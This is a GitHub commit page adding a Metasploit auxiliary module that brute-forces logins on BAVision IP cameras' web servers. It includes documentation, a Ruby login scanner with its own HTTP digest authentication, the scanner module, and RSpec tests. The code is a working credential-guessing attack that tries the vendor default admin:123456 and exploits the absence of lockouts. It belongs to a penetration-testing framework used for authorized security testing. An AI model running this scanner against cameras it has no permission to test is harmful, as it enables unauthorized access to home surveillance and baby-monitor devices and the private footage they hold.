Skip to content

Commit 5cba9b0

Browse files
committed
Land rapid7#7747, Add LoginScanner module for BAVision IP cameras
2 parents b074042 + 81b310f commit 5cba9b0

File tree

4 files changed

+339
-0
lines changed

4 files changed

+339
-0
lines changed
Lines changed: 28 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
This module allows you to log into an BAVision IP Camera's web server.
2+
3+
The instructions shipped with the camera do not mention clearly regarding the existence of the
4+
lighttpd web server, and it uses admin:123456 as the default credential. Even if the default
5+
password is changed, the account could also be bruteforced since there is no policy for lockouts.
6+
7+
8+
## Vulnerable Application
9+
10+
The web server is built into the IP camera. Specifically, this camera was tested during development:
11+
12+
"BAVISION 1080P HD Wifi Wireless IP Camera Home Security Baby Monitor Spy Pet/Dog Cameras Video Monitoring Plug/Play,Pan/Tilt With Two-Way Audio and Night Vision"
13+
14+
http://goo.gl/pHAqS1
15+
16+
## Verification Steps
17+
18+
1. Read the instructions that come with the IP camera to set it up
19+
2. Find the IP of the camera (in lab, your router should have info about this)
20+
3. Do: ```use auxiliary/scanner/http/bavision_cam_login```
21+
4. Set usernames and passwords
22+
5. Do: ```run```
23+
24+
## Options
25+
26+
**TRYDEFAULT**
27+
28+
The ```TRYDEFAULT``` options adds the default credential admin:123456 to the credential list.
Lines changed: 119 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,119 @@
1+
require 'metasploit/framework/login_scanner/http'
2+
require 'digest'
3+
4+
module Metasploit
5+
module Framework
6+
module LoginScanner
7+
8+
class BavisionCameras < HTTP
9+
10+
DEFAULT_PORT = 80
11+
PRIVATE_TYPES = [ :password ]
12+
LOGIN_STATUS = Metasploit::Model::Login::Status # Shorter name
13+
14+
15+
# Checks if the target is BAVision Camera's web server. The login module should call this.
16+
#
17+
# @return [Boolean] TrueClass if target is SWG, otherwise FalseClass
18+
def check_setup
19+
login_uri = normalize_uri("#{uri}")
20+
res = send_request({'uri'=> login_uri})
21+
22+
if res && res.headers['WWW-Authenticate'].match(/realm="IPCamera Login"/)
23+
return true
24+
end
25+
26+
false
27+
end
28+
29+
30+
# Auth to the server using digest auth
31+
def try_digest_auth(cred)
32+
login_uri = normalize_uri("#{uri}")
33+
res = send_request({
34+
'uri' => login_uri,
35+
'credential' => cred,
36+
'DigestAuthIIS' => false,
37+
'headers' => {'Accept'=> '*/*'}
38+
})
39+
40+
digest = digest_auth(cred.public, cred.private, res.headers)
41+
42+
res = send_request({
43+
'uri' => login_uri,
44+
'headers' => {
45+
'Authorization' => digest
46+
}})
47+
48+
if res && res.code == 200 && res.body =~ /hy\-cgi\/user\.cgi/
49+
return {:status => LOGIN_STATUS::SUCCESSFUL, :proof => res.body}
50+
end
51+
52+
{:status => LOGIN_STATUS::INCORRECT, :proof => res.body}
53+
end
54+
55+
# The Rex HTTP Digest auth is making the camera server to refuse to respond for some reason.
56+
# The API also fails to generate the CNONCE parameter (bug), which makes it unsuitable for
57+
# our needs, therefore we have our own implementation of digest auth.
58+
def digest_auth(user, password, response)
59+
nonce_count = 1
60+
cnonce = Digest::MD5.hexdigest("%x" % (Time.now.to_i + rand(65535)))
61+
62+
response['www-authenticate'] =~ /^(\w+) (.*)/
63+
64+
params = {}
65+
$2.gsub(/(\w+)="(.*?)"/) { params[$1] = $2 }
66+
67+
a_1 = "#{user}:#{params['realm']}:#{password}"
68+
a_2 = "GET:#{uri}"
69+
request_digest = ''
70+
request_digest << Digest::MD5.hexdigest(a_1)
71+
request_digest << ':' << params['nonce']
72+
request_digest << ':' << ('%08x' % nonce_count)
73+
request_digest << ':' << cnonce
74+
request_digest << ':' << params['qop']
75+
request_digest << ':' << Digest::MD5.hexdigest(a_2)
76+
77+
header = []
78+
header << "Digest username=\"#{user}\""
79+
header << "realm=\"#{params['realm']}\""
80+
header << "qop=#{params['qop']}"
81+
header << "uri=\"/\""
82+
header << "nonce=\"#{params['nonce']}\""
83+
header << "nc=#{'%08x' % nonce_count}"
84+
header << "cnonce=\"#{cnonce}\""
85+
header << "response=\"#{Digest::MD5.hexdigest(request_digest)}\""
86+
87+
header * ', '
88+
end
89+
90+
91+
# Attempts to login to the camera. This is called first.
92+
#
93+
# @param credential [Metasploit::Framework::Credential] The credential object
94+
# @return [Result] A Result object indicating success or failure
95+
def attempt_login(credential)
96+
result_opts = {
97+
credential: credential,
98+
status: Metasploit::Model::Login::Status::INCORRECT,
99+
proof: nil,
100+
host: host,
101+
port: port,
102+
protocol: 'tcp'
103+
}
104+
105+
begin
106+
result_opts.merge!(try_digest_auth(credential))
107+
rescue ::Rex::ConnectionError => e
108+
# Something went wrong during login. 'e' knows what's up.
109+
result_opts.merge!(status: LOGIN_STATUS::UNABLE_TO_CONNECT, proof: e.message)
110+
end
111+
112+
Result.new(result_opts)
113+
end
114+
115+
end
116+
end
117+
end
118+
end
119+
Lines changed: 137 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,137 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'metasploit/framework/login_scanner/bavision_cameras'
8+
require 'metasploit/framework/credential_collection'
9+
10+
class MetasploitModule < Msf::Auxiliary
11+
12+
include Msf::Exploit::Remote::HttpClient
13+
include Msf::Auxiliary::AuthBrute
14+
include Msf::Auxiliary::Report
15+
include Msf::Auxiliary::Scanner
16+
17+
def initialize(info={})
18+
super(update_info(info,
19+
'Name' => 'BAVision IP Camera Web Server Login',
20+
'Description' => %q{
21+
This module will attempt to authenticate to an IP camera created by BAVision via the
22+
web service. By default, the vendor ships a default credential admin:123456 to its
23+
cameras, and the web server does not enforce lockouts in case of a bruteforce attack.
24+
},
25+
'Author' => [ 'sinn3r' ],
26+
'License' => MSF_LICENSE
27+
))
28+
29+
register_options(
30+
[
31+
OptBool.new('TRYDEFAULT', [false, 'Try the default credential admin:123456', false])
32+
], self.class)
33+
end
34+
35+
36+
def scanner(ip)
37+
@scanner ||= lambda {
38+
cred_collection = Metasploit::Framework::CredentialCollection.new(
39+
blank_passwords: datastore['BLANK_PASSWORDS'],
40+
pass_file: datastore['PASS_FILE'],
41+
password: datastore['PASSWORD'],
42+
user_file: datastore['USER_FILE'],
43+
userpass_file: datastore['USERPASS_FILE'],
44+
username: datastore['USERNAME'],
45+
user_as_pass: datastore['USER_AS_PASS']
46+
)
47+
48+
if datastore['TRYDEFAULT']
49+
# Add the default username and password
50+
print_status("Default credential admin:123456 added to the credential queue for testing.")
51+
cred_collection.add_public('admin')
52+
cred_collection.add_private('123456')
53+
end
54+
55+
return Metasploit::Framework::LoginScanner::BavisionCameras.new(
56+
configure_http_login_scanner(
57+
host: ip,
58+
port: datastore['RPORT'],
59+
cred_details: cred_collection,
60+
stop_on_success: datastore['STOP_ON_SUCCESS'],
61+
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
62+
connection_timeout: 5,
63+
http_username: datastore['HttpUsername'],
64+
http_password: datastore['HttpPassword']
65+
))
66+
}.call
67+
end
68+
69+
70+
def report_good_cred(ip, port, result)
71+
service_data = {
72+
address: ip,
73+
port: port,
74+
service_name: 'http',
75+
protocol: 'tcp',
76+
workspace_id: myworkspace_id
77+
}
78+
79+
credential_data = {
80+
module_fullname: self.fullname,
81+
origin_type: :service,
82+
private_data: result.credential.private,
83+
private_type: :password,
84+
username: result.credential.public,
85+
}.merge(service_data)
86+
87+
login_data = {
88+
core: create_credential(credential_data),
89+
last_attempted_at: DateTime.now,
90+
status: result.status,
91+
proof: result.proof
92+
}.merge(service_data)
93+
94+
create_credential_login(login_data)
95+
end
96+
97+
98+
def report_bad_cred(ip, rport, result)
99+
invalidate_login(
100+
address: ip,
101+
port: rport,
102+
protocol: 'tcp',
103+
public: result.credential.public,
104+
private: result.credential.private,
105+
realm_key: result.credential.realm_key,
106+
realm_value: result.credential.realm,
107+
status: result.status,
108+
proof: result.proof
109+
)
110+
end
111+
112+
def bruteforce(ip)
113+
scanner(ip).scan! do |result|
114+
case result.status
115+
when Metasploit::Model::Login::Status::SUCCESSFUL
116+
print_brute(:level => :good, :ip => ip, :msg => "Success: '#{result.credential}'")
117+
report_good_cred(ip, rport, result)
118+
when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
119+
vprint_brute(:level => :verror, :ip => ip, :msg => result.proof)
120+
report_bad_cred(ip, rport, result)
121+
when Metasploit::Model::Login::Status::INCORRECT
122+
vprint_brute(:level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'")
123+
report_bad_cred(ip, rport, result)
124+
end
125+
end
126+
end
127+
128+
def run_host(ip)
129+
unless scanner(ip).check_setup
130+
print_brute(:level => :error, :ip => ip, :msg => 'Target is not BAVision IP camera web server.')
131+
return
132+
end
133+
134+
bruteforce(ip)
135+
end
136+
137+
end
Lines changed: 55 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,55 @@
1+
require 'metasploit/framework/login_scanner/bavision_cameras'
2+
3+
RSpec.describe Metasploit::Framework::LoginScanner::BavisionCameras do
4+
5+
it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false
6+
it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket'
7+
8+
subject do
9+
described_class.new
10+
end
11+
12+
describe '#digest_auth' do
13+
let(:username) { 'admin' }
14+
let(:password) { '123456' }
15+
let(:response) {
16+
{
17+
"www-authenticate" => "Digest realm=\"IPCamera Login\", nonce=\"918fee7e0b1126e4c2577911901a181b\", qop=\"auth\""
18+
}
19+
}
20+
21+
context 'when a credential is given' do
22+
it 'returns a string with username' do
23+
expect(subject.digest_auth(username, password, response)).to include('username=')
24+
end
25+
26+
it 'returns a string with realm' do
27+
expect(subject.digest_auth(username, password, response)).to include('realm=')
28+
end
29+
30+
it 'returns a string with qop' do
31+
expect(subject.digest_auth(username, password, response)).to include('qop=')
32+
end
33+
34+
it 'returns a string with uri' do
35+
expect(subject.digest_auth(username, password, response)).to include('uri=')
36+
end
37+
38+
it 'returns a string with nonce' do
39+
expect(subject.digest_auth(username, password, response)).to include('nonce=')
40+
end
41+
42+
it 'returns a string with nonce count' do
43+
expect(subject.digest_auth(username, password, response)).to include('nc=')
44+
end
45+
46+
it 'returns a string with cnonce' do
47+
expect(subject.digest_auth(username, password, response)).to include('cnonce=')
48+
end
49+
50+
it 'returns a string with response' do
51+
expect(subject.digest_auth(username, password, response)).to include('response=')
52+
end
53+
end
54+
end
55+
end

0 commit comments

Comments
 (0)